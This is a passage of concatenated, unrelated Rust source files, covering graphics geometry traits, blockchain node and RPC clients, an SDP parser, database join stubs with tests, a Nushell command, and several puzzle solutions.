code when the scene graph is about to draw this Geometry. fn on_draw(&mut self, _resource_manager: &mut GraphicResourceManager) {} /// Call this after the `damage_flags` have been read and dealt with to reset them to their /// default state (eg. `GeometryDamageFlags::NONE`). fn reset_damage_flags(&mut self) {} /// Get the set of things in the geometry that actually changed. fn damage_flags(&self) -> GeometryDamageFlags { GeometryDamageFlags::EVERYTHING } fn as_any(&self) -> &Any; fn as_any_mut(&mut self) -> &mut Any; } #[derive(Debug)] pub struct BasicGeometry<ShaderType: TypedShader> { pub vertices: Vec<ShaderType::VertexType>, pub indices: Vec<u32>, pub size: Vec2f, pub uniform: ShaderType::UniformType, pub shader: Box<Shader>, pub damage_flags: GeometryDamageFlags, } unsafe impl<ShaderType: TypedShader + 'static> Geometry for BasicGeometry<ShaderType> { fn vertex_data(&self) -> &[u8] { unsafe { cast_slice(&self.vertices) } } fn indices(&self) -> &Vec<u32> { &self.indices } fn size(&self) -> Vec2f { self.size } fn uniform_data(&self) -> &[u8] { unsafe { std::slice::from_raw_parts( std::mem::transmute(&self.uniform), std::mem::size_of::<ShaderType::UniformType>() ) } } fn shader(&self) -> &Shader { self.shader.as_ref() } fn reset_damage_flags(&mut self) { self.damage_flags = GeometryDamageFlags::NONE; } fn damage_flags(&self) -> GeometryDamageFlags { self.damage_flags } fn as_any(&self) -> &Any { self } fn as_any_mut(&mut self) -> &mut Any { self } } pub struct BasicFnGeometry<ShaderType: TypedShader, ArgumentType> { pub basic_geometry: BasicGeometry<ShaderType>, pub on_draw_arg: ArgumentType, pub on_draw_fn: fn(arg: &mut ArgumentType, geometry: &mut BasicGeometry<ShaderType>, resource_manager: &mut GraphicResourceManager), } unsafe impl<ShaderType: TypedShader + 'static, ArgumentType: Sync + Send + 'static> Geometry for BasicFnGeometry<ShaderType, ArgumentType> { fn vertex_data(&self) -> &[u8] { self.basic_geometry.vertex_data() } fn indices(&self) -> &Vec<u32> { self.basic_geometry.indices() } fn size(&self) -> Vec2f { self.basic_geometry.size() } fn uniform_data(&self) -> &[u8] { self.basic_geometry.uniform_data() } fn shader(&self) -> &Shader { self.basic_geometry.shader() } fn reset_damage_flags(&mut self) { self.basic_geometry.reset_damage_flags(); } fn damage_flags(&self) -> GeometryDamageFlags { self.basic_geometry.damage_flags() } fn on_draw(&mut self, resource_manager: &mut GraphicResourceManager) { (self.on_draw_fn)(&mut self.on_draw_arg, &mut self.basic_geometry, resource_manager); } fn as_any(&self) -> &Any { self } fn as_any_mut(&mut self) -> &mut Any { self } } impl<ShaderType: TypedShader + 'static, ArgumentType> std::fmt::Debug for BasicFnGeometry<ShaderType, ArgumentType> { fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { write!(f, "BasicFnGeometry: {:?}", self.basic_geometry) } } /*pub type ColourFormat = gfx::format::Srgba8; gfx_defines! { vertex BasicVert { pos: [f32; 2] = "vPos", colour: [f32; 4] = "vColour", } constant BasicLocals { transform: [[f32; 4]; 4] = "uTransform", pos: [f32; 2] = "uPos", size: [f32; 2] = "uSize", } pipeline BasicPipe { vbuf: gfx::VertexBuffer<BasicVert> = (), locals: gfx::ConstantBuffer<BasicLocals> = "Locals", out: gfx::RenderTarget<ColourFormat> = "Target0", } }*/
use std::collections::HashMap; use std::sync::RwLock; use exonum::blockchain::config::ValidatorKeys; use exonum::crypto::PublicKey; #[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash, Ord, PartialOrd)] pub struct NodeKeys { pub consensus: PublicKey, pub service: PublicKey, } impl From<ValidatorKeys> for NodeKeys { fn from(value: ValidatorKeys) -> Self { NodeKeys { consensus: value.consensus_key, service: value.service_key, } } } impl NodeKeys { pub fn into_validator_keys(self) -> ValidatorKeys { ValidatorKeys { consensus_key: self.consensus, service_key: self.service, } } } #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] pub struct NodeInfo { pub public: String, pub private: String, pub peer: String, } #[derive(Debug, Clone, PartialEq, Eq)] pub struct NodeState { pub height: u64, pub is_validator: bool, } impl Default for NodeState { fn default() -> Self { NodeState { height: 0, is_validator: false, } } } lazy_static! { static ref INFOS: RwLock<HashMap<NodeKeys, NodeInfo>> = RwLock::new(HashMap::with_capacity(4)); static ref STATES: RwLock<HashMap<NodeKeys, NodeState>> = RwLock::new(HashMap::with_capacity(4)); } const UNABLE_TO_LOCK_ERROR: &'static str = "unable to lock"; pub fn update(keys: NodeKeys, info: NodeInfo) -> bool { STATES .write() .expect(UNABLE_TO_LOCK_ERROR) .entry(keys) .or_default(); INFOS .write() .expect(UNABLE_TO_LOCK_ERROR) .insert(keys, info) .is_some() } /* pub fn state(keys: NodeKeys) -> Option<NodeState> { STATES .read() .expect(UNABLE_TO_LOCK_ERROR) .get(&keys) .cloned() } */ pub fn list() -> Vec<(NodeKeys, NodeInfo)> { INFOS .read() .expect(UNABLE_TO_LOCK_ERROR) .iter() .map(|(k, v)| (*k, v.clone())) .collect() }
use std::io::{self, BufRead}; fn main() { let mut positions = [0, 0, 0, 0, 0]; let mut trees = [0, 0, 0, 0, 0]; let slopes = [(1,1), (3,1), (5,1), (7,1), (1, 2)]; for (line_num, wrapped_line) in io::stdin().lock().lines().enumerate() { let line = wrapped_line.unwrap(); for (slope, (x, y)) in slopes.iter().enumerate() { if line_num % y != 0 { continue; } let position = &mut positions[slope]; let trees = &mut trees[slope]; let char = line.chars().nth(*position % line.len()); *trees += if char.unwrap() == '#' { 1 } else { 0 }; *position += x; } } println!("{}", trees[1]); println!("{}", trees.iter().product::<u32>()); }
impl Solution { pub fn is_monotonic(a: Vec<i32>) -> bool { let n = a.len(); let (mut inc,mut dec) = (true,true); for i in 0..n-1{ if a[i] > a[i + 1]{ inc = false; } if a[i] < a[i + 1]{ dec = false; } } dec || inc } }
// Copyright (c) The Starcoin Core Contributors // SPDX-License-Identifier: Apache-2.0 use anyhow::Result; use starcoin_crypto::HashValue; use starcoin_state_api::{ ChainStateReader, ChainStateService, StateNodeStore, StateView, StateWithProof, }; use starcoin_statedb::ChainStateDB; use starcoin_types::{ access_path::AccessPath, account_address::AccountAddress, account_state::AccountState, state_set::ChainStateSet, }; use std::sync::Arc; pub struct ChainStateServiceImpl { //TODO use a StateReader reader: ChainStateDB, } impl ChainStateServiceImpl { pub fn new(store: Arc<dyn StateNodeStore>, root_hash: Option<HashValue>) -> Self { Self { //TODO use a StateReader reader: ChainStateDB::new(store, root_hash), } } } impl ChainStateService for ChainStateServiceImpl { fn change_root(&mut self, state_root: HashValue) { self.reader = self.reader.change_root(state_root); } } impl ChainStateReader for ChainStateServiceImpl { fn get_with_proof(&self, access_path: &AccessPath) -> Result<StateWithProof> { self.reader.get_with_proof(access_path) } fn get_account_state(&self, address: &AccountAddress) -> Result<Option<AccountState>> { self.reader.get_account_state(address) } fn state_root(&self) -> HashValue { self.reader.state_root() } fn dump(&self) -> Result<ChainStateSet> { unimplemented!() } } impl StateView for ChainStateServiceImpl { fn get(&self, access_path: &AccessPath) -> Result<Option<Vec<u8>>> { self.reader.get(access_path) } fn multi_get(&self, _access_paths: &[AccessPath]) -> Result<Vec<Option<Vec<u8>>>> { unimplemented!() } fn is_genesis(&self) -> bool { false } }
use crate::Client; use storm::{BoxFuture, Error, Result}; use tiberius::{Config, SqlBrowser}; use tokio::net::TcpStream; use tokio_util::compat::TokioAsyncWriteCompatExt; use tracing::instrument; pub trait ClientFactory: Send + Sync + 'static { fn create_client(&self) -> BoxFuture<'_, Result<Client>>; /// Indicate if the client factory operate under a transaction. This is useful for /// tests operations where all commits are rollback after the tests. fn under_transaction(&self) -> bool { false } } impl ClientFactory for Config { #[instrument( level = "debug", name = "ClientFactory::create_client", skip(self), err )] fn create_client(&self) -> BoxFuture<'_, Result<Client>> { Box::pin(async move { // named instance only available in windows. let tcp = TcpStream::connect_named(self).await.map_err(Error::std)?; tcp.set_nodelay(true).map_err(Error::std)?; Client::connect(self.clone(), tcp.compat_write()) .await .map_err(Into::into) }) } }
// q0032_longest_valid_parentheses struct Solution; impl Solution { pub fn longest_valid_parentheses(s: String) -> i32 { let ss = s.as_bytes(); let slen = ss.len(); if slen < 2 { return 0; } let mut valid_pos = vec![]; let mut i = 0; while i < slen - 1 { if ss[i] == b'(' && ss[i + 1] == b')' { valid_pos.push((i, i + 1)); i += 1; } i += 1 } loop { println!("round vp: {:?}", valid_pos); let mut no_change = true; let mut pvpe = 0; //previous valid postion end index let mut new_valid_pos = vec![]; let mut i = 0; while i < valid_pos.len() && pvpe < slen { if i == valid_pos.len() - 1 { let vp = valid_pos[i]; if (pvpe == 0 || vp.0 > pvpe + 1) && vp.1 + 1 < slen && vp.0 != 0 { if ss[vp.0 - 1] == b'(' && ss[vp.1 + 1] == b')' { new_valid_pos.push((vp.0 - 1, vp.1 + 1)); no_change = false; pvpe = vp.1 + 1; } else { new_valid_pos.push((vp.0, vp.1)); pvpe = vp.1; } } else { new_valid_pos.push((vp.0, vp.1)); pvpe = vp.1; } } else { let vp1 = valid_pos[i]; let vp2 = valid_pos[i + 1]; if (pvpe == 0 || pvpe + 1 < vp1.0) && vp1.1 + 1 < vp2.0 && vp1.0 != 0 { if ss[vp1.0 - 1] == b'(' && ss[vp1.1 + 1] == b')' { new_valid_pos.push((vp1.0 - 1, vp1.1 + 1)); no_change = false; pvpe = vp1.1 + 1; } else { new_valid_pos.push((vp1.0, vp1.1)); pvpe = vp1.1; } } else if vp1.1 + 1 == vp2.0 { new_valid_pos.push((vp1.0, vp2.1)); no_change = false; pvpe = vp2.1; i += 1; } else { new_valid_pos.push((vp1.0, vp1.1)); pvpe = vp1.1; } } i += 1; } if no_change { break; } std::mem::swap(&mut new_valid_pos, &mut valid_pos); } println!("final: {:?}", valid_pos); let mut max_len = 0; for (a, b) in valid_pos.iter() { max_len = max_len.max(b - a + 1); } max_len as i32 } } #[cfg(test)] mod tests { use super::Solution; #[test] fn it_works() { // assert_eq!( 4, Solution::longest_valid_parentheses(String::from(")()())"))); // assert_eq!( 2, Solution::longest_valid_parentheses(String::from("(()"))); // assert_eq!( 6, Solution::longest_valid_parentheses(String::from("()()()"))); // assert_eq!( 6, Solution::longest_valid_parentheses(String::from("()(())"))); // assert_eq!( 6, Solution::longest_valid_parentheses(String::from("(()())"))); assert_eq!( 8, Solution::longest_valid_parentheses(String::from("((()))())")) ); } }
// Copyright (c) 2019 Chaintope Inc. use log::Level::Trace; use log::{log_enabled, trace}; use serde::Deserialize; use tapyrus::Address; use crate::errors::Error; use tapyrus::blockdata::block::Block; use tapyrus::consensus::encode::{deserialize, serialize}; #[derive(Debug, Deserialize, Clone)] pub struct GetBlockchainInfoResult { pub chain: String, pub blocks: u64, pub headers: u64, pub bestblockhash: String, pub mediantime: u64, pub initialblockdownload: bool, } pub struct Rpc { client: jsonrpc::client::Client, } pub trait TapyrusApi { /// Get or Create candidate block. fn getnewblock(&self, address: &Address) -> Result<Block, Error>; /// Validate to candidateblock fn testproposedblock(&self, block: &Block) -> Result<bool, Error>; /// Broadcast new block include enough proof. fn submitblock(&self, block: &Block) -> Result<(), Error>; /// Get block chain info fn getblockchaininfo(&self) -> Result<GetBlockchainInfoResult, Error>; } impl Rpc { pub fn new(url: String, user: Option<String>, pass: Option<String>) -> Self { // Check that if we have a password, we have a username; other way around is ok debug_assert!(pass.is_none() || user.is_some()); Rpc { client: jsonrpc::client::Client::new(url, user, pass), } } fn call<T>(&self, name: &str, params: &[serde_json::Value]) -> Result<T, Error> where T: serde::de::DeserializeOwned, { let req = self.client.build_request(name, params); trace!("JSON-RPC request: {}", serde_json::to_string(&req).unwrap()); match self.client.send_request(&req) { Ok(resp) => { if log_enabled!(Trace) { trace!( "JSON-RPC response: {}: {}", name, serde_json::to_string(&resp).unwrap() ); } if let Err(jsonrpc::Error::Rpc(e)) = resp.clone().check_error() { warn!("RPC Error: {:?}", e); return Err(Error::InvalidRequest(e)); } match resp.result::<T>() { Ok(result) => Ok(result), Err(e) => Err(Error::JsonRpc(e)), } } Err(e) => Err(Error::from(e)), } } pub fn test_connection(&self) -> Result<(), Error> { match self.getblockchaininfo() { Ok(_) => Ok(()), Err(e) => Err(e), } } } impl TapyrusApi for Rpc { /// Call getnewblock rpc fn getnewblock(&self, address: &Address) -> Result<Block, Error> { let args = [address.to_string().into()]; let resp = self.call::<String>("getnewblock", &args); match resp { Ok(v) => { let raw_block = hex::decode(v).expect("Decoding block hex failed"); deserialize(&raw_block).map_err(|_| Error::InvalidBlock) } Err(e) => Err(e), } } fn testproposedblock(&self, block: &Block) -> Result<bool, Error> { let blockhex = serde_json::Value::from(hex::encode(serialize(block))); self.call::<bool>("testproposedblock", &[blockhex]) } fn submitblock(&self, block: &Block) -> Result<(), Error> { let blockhex = serde_json::Value::from(hex::encode(serialize(block))); self.call::<()>("submitblock", &[blockhex]) } fn getblockchaininfo(&self) -> Result<GetBlockchainInfoResult, Error> { self.call::<GetBlockchainInfoResult>("getblockchaininfo", &[]) } } #[cfg(test)] pub mod tests { use super::*; use crate::tests::helper::keys::TEST_KEYS; use tapyrus::secp256k1::Secp256k1; pub fn get_rpc_client() -> Rpc { Rpc::new( "http://127.0.0.1:12381".to_string(), Some("user".to_string()), Some("pass".to_string()), ) } pub fn call_getnewblock() -> Result<Block, Error> { let rpc = get_rpc_client(); let private_key = TEST_KEYS.key[4]; let secp = Secp256k1::new(); let address = Address::p2pkh(&private_key.public_key(&secp), private_key.network); rpc.getnewblock(&address) } use std::sync::{Arc, Mutex}; pub type SafetyBlock = Arc<Mutex<Result<Block, AnyError>>>; pub struct MockRpc { pub return_block: SafetyBlock, } impl MockRpc { pub fn result(&self) -> Result<Block, Error> { let gard_block = self.return_block.try_lock().unwrap(); let result = (*gard_block).as_ref(); match result { Ok(b) => Ok(b.clone()), Err(error) => Err(self.create_error(error.to_string())), } } fn create_error(&self, message: String) -> Error { Error::JsonRpc(jsonrpc::error::Error::Rpc(jsonrpc::error::RpcError { code: 0, message, data: None, })) } } #[derive(Debug)] pub struct AnyError(pub String); impl core::fmt::Display for AnyError { fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result { write!(f, "{:?}", self) } } impl std::error::Error for AnyError {} pub fn safety(block: Block) -> SafetyBlock { Arc::new(Mutex::new(Ok(block))) } pub fn safety_error(error_msg: String) -> SafetyBlock { Arc::new(Mutex::new(Err(AnyError(error_msg)))) } impl TapyrusApi for MockRpc { fn getnewblock(&self, _address: &Address) -> Result<Block, Error> { self.result() } fn testproposedblock(&self, _block: &Block) -> Result<bool, Error> { let _block = self.result()?; Ok(true) } fn submitblock(&self, _block: &Block) -> Result<(), Error> { let _block = self.result()?; Ok(()) } fn getblockchaininfo(&self) -> Result<GetBlockchainInfoResult, Error> { Ok(GetBlockchainInfoResult { chain: "regtest".to_string(), blocks: 0, headers: 0, bestblockhash: "xxx".to_string(), mediantime: 0, initialblockdownload: false, }) } } /// TODO: use rpc mock. Now this test needs tapyrus node process. #[test] #[ignore] fn test_getnewblock() { let result = call_getnewblock(); assert!(result.is_ok()); let _value = result.unwrap(); } #[test] #[ignore] fn test_testproposedblock() { let block = call_getnewblock().unwrap(); let rpc = get_rpc_client(); let result = rpc.testproposedblock(&block); assert!(result.is_ok()); } }
use super::packet::Packet; /// Represents a group of packets accociated with one /// connection or interaction. pub struct Stream { pub packets: Vec<Packet> } impl Stream { /// Creates a new Stream pub fn new() -> Stream { Stream { packets: vec![], } } /// Creates a new stream with a predefined set of packets pub fn new_with_packets(packets: Vec<Packet>) -> Stream { Stream { packets: packets, } } }
use crate::*; use crate::attributes::parse_optional_attributes; use nom::IResult; use std::fmt; /// A Single Sdp Message #[derive(Debug, PartialEq, Clone)] pub struct SdpOffer { pub version: SdpVersion, pub origin: SdpOrigin, pub name: SdpSessionName, pub optional: Vec<SdpOptionalAttribute>, pub attributes: Vec<SdpAttribute>, pub media: Vec<SdpMedia> } /// Parse this input data into an SdpOffer. pub fn parse_sdp_offer(input: &[u8]) -> IResult<&[u8], SdpOffer> { let (input, version) = parse_version_line(input)?; let (input, origin) = parse_origin_line(input)?; let (input, name) = parse_session_name_line(input)?; let (input, optional) = parse_optional_attributes(input)?; let (input, attributes) = parse_global_attributes(input)?; let (input, media) = parse_media_lines(input)?; Ok((input, SdpOffer { version, origin, name, optional, attributes, media })) } impl SdpOffer { /// Generate a new offer from the `origin` and the session name `name`. pub fn new<S: Into<String>>(origin: SdpOrigin, name: S) -> SdpOffer { SdpOffer { version: SdpVersion, origin, name: SdpSessionName::new(name), optional: vec![], attributes: vec![], media: vec![] } } /// Add an optional attribute. pub fn optional_attribute(mut self, attr: SdpOptionalAttribute) -> SdpOffer { self.optional.push(attr); self } /// Add all atributes removing all currently present. pub fn optional_attributes(mut self, attr: Vec<SdpOptionalAttribute>) -> SdpOffer { self.optional = attr; self } /// Add a single `SdpAttribute` to the attribute list. pub fn attribute(mut self, attr: SdpAttribute) -> SdpOffer { self.attributes.push(attr); self } /// Add all SdpAttributes removing any that might currently by present. pub fn attributes(mut self, attr: Vec<SdpAttribute>) -> SdpOffer { self.attributes = attr; self } /// Add a single SdpMedia. Represents a media line. pub fn media(mut self, media: SdpMedia) -> SdpOffer { self.media.push(media); self } /// Get the global SDP connection if this offer has one. returns none if not present. pub fn get_connection(&self) -> Option<SdpConnection> { for thing in &self.optional { if let SdpOptionalAttribute::Connection(conn) = thing { return Some(conn.clone()); } } None } } impl fmt::Display for SdpOffer { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "v={}\r\no={}\r\ns={}", self.version, self.origin, self.name)?; for attribute in &self.optional { write!(f, "\r\n{}", attribute)?; } for attribute in &self.attributes { write!(f, "\r\na={}", attribute)?; } for media in &self.media { write!(f, "\r\nm={}", media)?; } writeln!(f, "\r")?; Ok(()) } }
use super::{OpIterator, TupleIterator}; use common::{CrustyError, Field, PredicateOp, TableSchema, Tuple}; use std::collections::HashMap; /// Compares the fields of two tuples using a predicate. pub struct JoinPredicate { } /// Nested loop join implementation. pub struct Join { /* op: PredicateOp, left_index: usize, right_index: usize, left_child: Join, right_child: Join,*/ /// Schema of the result. schema: TableSchema, } impl Join { /// Join constructor. Creates a new node for a nested-loop join. /// /// # Arguments /// /// * `op` - Operation in join condition. /// * `left_index` - Index of the left field in join condition. /// * `right_index` - Index of the right field in join condition. /// * `left_child` - Left child of join operator. /// * `right_child` - Left child of join operator. pub fn new(/*op: PredicateOp, left_index: usize, right_index: usize, left_child: Join, right_child: Join*/ ) -> Self { /*Self{ op, left_index, right_index, left_child, right_child, }*/ } } impl OpIterator for Join { fn open(&mut self) -> Result<(), CrustyError> { panic!("TODO milestone op"); } /// Calculates the next tuple for a nested loop join. fn next(&mut self) -> Result<Option<Tuple>, CrustyError> { panic!("TODO milestone op"); } fn close(&mut self) -> Result<(), CrustyError> { panic!("TODO milestone op"); } fn rewind(&mut self) -> Result<(), CrustyError> { panic!("TODO milestone op"); } fn get_schema(&self) -> &TableSchema { &self.schema } } /// Hash equi-join implementation. pub struct HashEqJoin { schema: TableSchema, } impl HashEqJoin { /// Constructor for a hash equi-join operator. /// /// # Arguments /// /// * `op` - Operation in join condition. /// * `left_index` - Index of the left field in join condition. /// * `right_index` - Index of the right field in join condition. /// * `left_child` - Left child of join operator. /// * `right_child` - Left child of join operator. #[allow(dead_code)] pub fn new( ) -> Self { panic!("TODO milestone op"); } } impl OpIterator for HashEqJoin { fn open(&mut self) -> Result<(), CrustyError> { panic!("TODO milestone op"); } fn next(&mut self) -> Result<Option<Tuple>, CrustyError> { panic!("TODO milestone op"); } fn close(&mut self) -> Result<(), CrustyError> { panic!("TODO milestone op"); } fn rewind(&mut self) -> Result<(), CrustyError> { panic!("TODO milestone op"); } fn get_schema(&self) -> &TableSchema { &self.schema } } #[cfg(test)] mod test { use super::*; use crate::opiterator::testutil::*; use common::testutil::*; const WIDTH1: usize = 2; const WIDTH2: usize = 3; enum JoinType { NestedLoop, HashEq, } pub fn scan1() -> TupleIterator { let tuples = create_tuple_list(vec![vec![1, 2], vec![3, 4], vec![5, 6], vec![7, 8]]); let ts = get_int_table_schema(WIDTH1); TupleIterator::new(tuples, ts) } pub fn scan2() -> TupleIterator { let tuples = create_tuple_list(vec![ vec![1, 2, 3], vec![2, 3, 4], vec![3, 4, 5], vec![4, 5, 6], vec![5, 6, 7], ]); let ts = get_int_table_schema(WIDTH2); TupleIterator::new(tuples, ts) } pub fn eq_join() -> TupleIterator { let tuples = create_tuple_list(vec![ vec![1, 2, 1, 2, 3], vec![3, 4, 3, 4, 5], vec![5, 6, 5, 6, 7], ]); let ts = get_int_table_schema(WIDTH1 + WIDTH2); TupleIterator::new(tuples, ts) } pub fn gt_join() -> TupleIterator { let tuples = create_tuple_list(vec![ vec![3, 4, 1, 2, 3], // 1, 2 < 3 vec![3, 4, 2, 3, 4], vec![5, 6, 1, 2, 3], // 1, 2, 3, 4 < 5 vec![5, 6, 2, 3, 4], vec![5, 6, 3, 4, 5], vec![5, 6, 4, 5, 6], vec![7, 8, 1, 2, 3], // 1, 2, 3, 4, 5 < 7 vec![7, 8, 2, 3, 4], vec![7, 8, 3, 4, 5], vec![7, 8, 4, 5, 6], vec![7, 8, 5, 6, 7], ]); let ts = get_int_table_schema(WIDTH1 + WIDTH2); TupleIterator::new(tuples, ts) } fn construct_join( ty: JoinType, op: PredicateOp, left_index: usize, right_index: usize, ) -> Box<dyn OpIterator> { let s1 = Box::new(scan1()); let s2 = Box::new(scan2()); match ty { JoinType::NestedLoop => Box::new(Join::new( )), JoinType::HashEq => Box::new(HashEqJoin::new( )), } } fn test_get_schema(join_type: JoinType) { let op = construct_join(join_type, PredicateOp::Equals, 0, 0); let expected = get_int_table_schema(WIDTH1 + WIDTH2); let actual = op.get_schema(); assert_eq!(&expected, actual); } fn test_next_not_open(join_type: JoinType) { let mut op = construct_join(join_type, PredicateOp::Equals, 0, 0); op.next().unwrap(); } fn test_rewind_not_open(join_type: JoinType) { let mut op = construct_join(join_type, PredicateOp::Equals, 0, 0); op.rewind().unwrap(); } fn test_rewind(join_type: JoinType) -> Result<(), CrustyError> { let mut op = construct_join(join_type, PredicateOp::Equals, 0, 0); op.open()?; while let Some(_) = op.next()? {} op.rewind()?; let mut eq_join = eq_join(); eq_join.open()?; let acutal = op.next()?; let expected = eq_join.next()?; assert_eq!(acutal, expected); Ok(()) } fn test_eq_join(join_type: JoinType) -> Result<(), CrustyError> { let mut op = construct_join(join_type, PredicateOp::Equals, 0, 0); let mut eq_join = eq_join(); op.open()?; eq_join.open()?; match_all_tuples(op, Box::new(eq_join)) } fn test_gt_join(join_type: JoinType) -> Result<(), CrustyError> { let mut op = construct_join(join_type, PredicateOp::GreaterThan, 0, 0); let mut gt_join = gt_join(); op.open()?; gt_join.open()?; match_all_tuples(op, Box::new(gt_join)) } mod join { use super::*; #[test] fn get_schema() { test_get_schema(JoinType::NestedLoop); } #[test] #[should_panic] fn next_not_open() { test_next_not_open(JoinType::NestedLoop); } #[test] #[should_panic] fn rewind_not_open() { test_rewind_not_open(JoinType::NestedLoop); } #[test] fn rewind() -> Result<(), CrustyError> { test_rewind(JoinType::NestedLoop) } #[test] fn eq_join() -> Result<(), CrustyError> { test_eq_join(JoinType::NestedLoop) } #[test] fn gt_join() -> Result<(), CrustyError> { test_gt_join(JoinType::NestedLoop) } } mod hash_join { use super::*; #[test] fn get_schema() { test_get_schema(JoinType::HashEq); } #[test] #[should_panic] fn next_not_open() { test_next_not_open(JoinType::HashEq); } #[test] #[should_panic] fn rewind_not_open() { test_rewind_not_open(JoinType::HashEq); } #[test] fn rewind() -> Result<(), CrustyError> { test_rewind(JoinType::HashEq) } #[test] fn eq_join() -> Result<(), CrustyError> { test_eq_join(JoinType::HashEq) } } }
use crate::math::reducers::{reducer_for, Reduce}; use crate::math::utils::run_with_function; use nu_protocol::ast::Call; use nu_protocol::engine::{Command, EngineState, Stack}; use nu_protocol::{Category, Example, PipelineData, ShellError, Signature, Span, Value}; #[derive(Clone)] pub struct SubCommand; impl Command for SubCommand { fn name(&self) -> &str { "math product" } fn signature(&self) -> Signature { Signature::build("math product").category(Category::Math) } fn usage(&self) -> &str { "Finds the product of a list of numbers or tables" } fn search_terms(&self) -> Vec<&str> { vec!["times", "multiply", "x", "*"] } fn run( &self, _engine_state: &EngineState, _stack: &mut Stack, call: &Call, input: PipelineData, ) -> Result<nu_protocol::PipelineData, nu_protocol::ShellError> { run_with_function(call, input, product) } fn examples(&self) -> Vec<Example> { vec![Example { description: "Get the product of a list of numbers", example: "[2 3 3 4] | math product", result: Some(Value::test_int(72)), }] } } /// Calculate product of given values pub fn product(values: &[Value], head: &Span) -> Result<Value, ShellError> { let product_func = reducer_for(Reduce::Product); product_func(Value::nothing(*head), values.to_vec(), *head) } #[cfg(test)] mod test { use super::*; #[test] fn test_examples() { use crate::test_examples; test_examples(SubCommand {}) } }
mod block; mod blocks; mod options; mod packet; mod reader; pub use self::block::Block; pub use self::blocks::*; pub use self::options::{ comment, custom_bytes, custom_private_bytes, custom_private_str, custom_str, end_of_opt, opt, Opt, Options, }; pub use self::packet::Packet; pub use self::reader::{mmap, open, parse, read, Packets, ParseBlocks, ReadBlocks, Reader};
// 1. Function Pointers /// Unlike closures, fn is a type rather than a trait, /// so we specify fn as the parameter type directly rather /// than declaring a generic type parameter with one of /// the Fn traits as a trait bound. pub fn add_one(x: i32) -> i32 { x + 1 } pub fn do_twice(f: fn(i32) -> i32, arg: i32) -> i32 { f(arg) + f(arg) } /// As an example of where you could use either a closure defined inline pub fn list_of_strings_closure(strs: &Vec<i32>) -> Vec<String> { strs.iter() .map(|i| i.to_string()) .collect() } /// Name a function as the argument to map instead of the closure /// Must use the fully qualified syntax, as there are multiple functions /// available named to_string. Here, we’re using the to_string function /// defined in the ToString trait, which the standard library has /// implemented for any type that implements Display. pub fn list_of_strings_fn(strs: &Vec<i32>) -> Vec<String> { strs.iter() .map(ToString::to_string) .collect() } /// The initializers are actually implemented as functions returning /// an instance that’s constructed from their arguments use std::ops::Range; #[derive(Debug, PartialEq)] pub enum Status { Value(u32), Stop } /// We can use these initializer functions as function pointers /// that implement the closure traits, which means we can specify /// the initializer functions as arguments for methods that take closures pub fn list_of_statuses(t: Range<u32>) -> Vec<Status> { t.map(Status::Value).collect() } // 2. Returning Closures /// Closures are represented by traits, which means you can’t return /// closures directly. In most cases where you might want to return /// a trait, you can instead use the concrete type that implements /// the trait as the return value of the function. /// But you can’t do that with closures because they don’t have a /// concrete type that is returnable; you’re not allowed to use /// the function pointer fn as a return type, for example. // *******************************************************************************// // The following code tries to return a closure directly, but it won’t compile // *******************************************************************************// // fn return_closure() -> Fn(i32) -> i32 { // |x| x + 1 // } // // error[E0277]: the trait bound `std::ops::Fn(i32) -> i32 + 'static: // std::marker::Sized` is not satisfied // ust doesn’t know how much space it will need to store the closure. pub fn return_closure() -> Box<dyn Fn(i32) -> i32> { Box::new(|x| x + 1) } #[cfg(test)] mod tests { use super::*; #[test] fn fn_pointer_as_parameter() { let a = do_twice(add_one, 2); assert_eq!(a, 6); } #[test] fn using_closure_or_named_fn() { let list_of_numbers = &vec![1, 2, 3]; let list_of_strings = vec!["1", "2", "3"]; assert_eq!(list_of_strings_closure(list_of_numbers), list_of_strings); assert_eq!(list_of_strings_fn(list_of_numbers), list_of_strings); } #[test] fn test_list_of_statuses() { let t = 0u32..20; let v: Vec<Status> = (0u32..20).map(|i| Status::Value(i)).collect(); assert_eq!(list_of_statuses(t), v); } #[test] fn test_return_closure() { let c = return_closure(); assert_eq!(c(1), 2); } }
// Returns 0-9 for each digit, most significant first fn get_digits(mut n: u32) -> [u8; 6] { let mut digits: [u8; 6] = [0u8; 6]; for i in digits.iter_mut().rev() { let digit = n % 10; *i = digit as u8; n = (n - digit) / 10; } digits } fn main() { let mut count = 0; 'loop_nums: for n in 278384..=824795 { let digits = get_digits(n); let mut double_found = false; 'loop_digits: for i in 1..digits.len() { if digits[i] == digits[i - 1] { // Found a matching pair if (i > 1) && (digits[i - 2] == digits[i]) { // Part of a larger group continue 'loop_digits; } if digits.get(i + 1) == Some(&digits[i]) { // Part of a larger group continue 'loop_digits; } double_found = true; } if digits[i] < digits[i - 1] { // Found a decreasing pair - this breaks the criteria continue 'loop_nums; } } if double_found { count += 1; } } println!("Count: {}", count); }
use std::io; use std::mem; pub fn get_flag(flag: u8, offset: u8) -> io::Result<bool> { if offset >= 8 { return Err(io::Error::new(io::ErrorKind::Other, "offset must be lesser than 8")); } Ok((flag & (1 << offset)) != 0) } pub fn set_flag(flag: u8, offset: u8, value: bool) -> io::Result<u8> { if offset >= 8 { return Err(io::Error::new(io::ErrorKind::Other, "offset must be lesser than 8")); } if value { Ok(flag | (1 << offset)) } else { Ok(flag & 255 - (1 << offset)) } } pub trait ReadExt : io::Read { fn read_u8(&mut self) -> io::Result<u8> { let mut buf = [0u8]; try!(self.read(&mut buf)); Ok( buf[0] << 0 ) } fn read_i8(&mut self) -> io::Result<i8> { Ok(try!(self.read_u8()) as i8) } fn read_u16(&mut self) -> io::Result<u16> { let mut buf = [0u8;2]; try!(self.read(&mut buf)); Ok( (buf[0] as u16) | ((buf[1] as u16) << 8) ) } fn read_i16(&mut self) -> io::Result<i16> { Ok(try!(self.read_u16()) as i16) } fn read_u32(&mut self) -> io::Result<u32> { let mut buf = [0u8;4]; try!(self.read(&mut buf)); Ok ( (buf[0] as u32) | ((buf[1] as u32) << 8) | ((buf[2] as u32) << 16) | ((buf[3] as u32) << 24) ) } fn read_i32(&mut self) -> io::Result<i32> { Ok(try!(self.read_u32()) as i32) } fn read_u64(&mut self) -> io::Result<u64> { let mut buf = [0u8; 8]; try!(self.read(&mut buf)); Ok( (buf[0] as u64) | 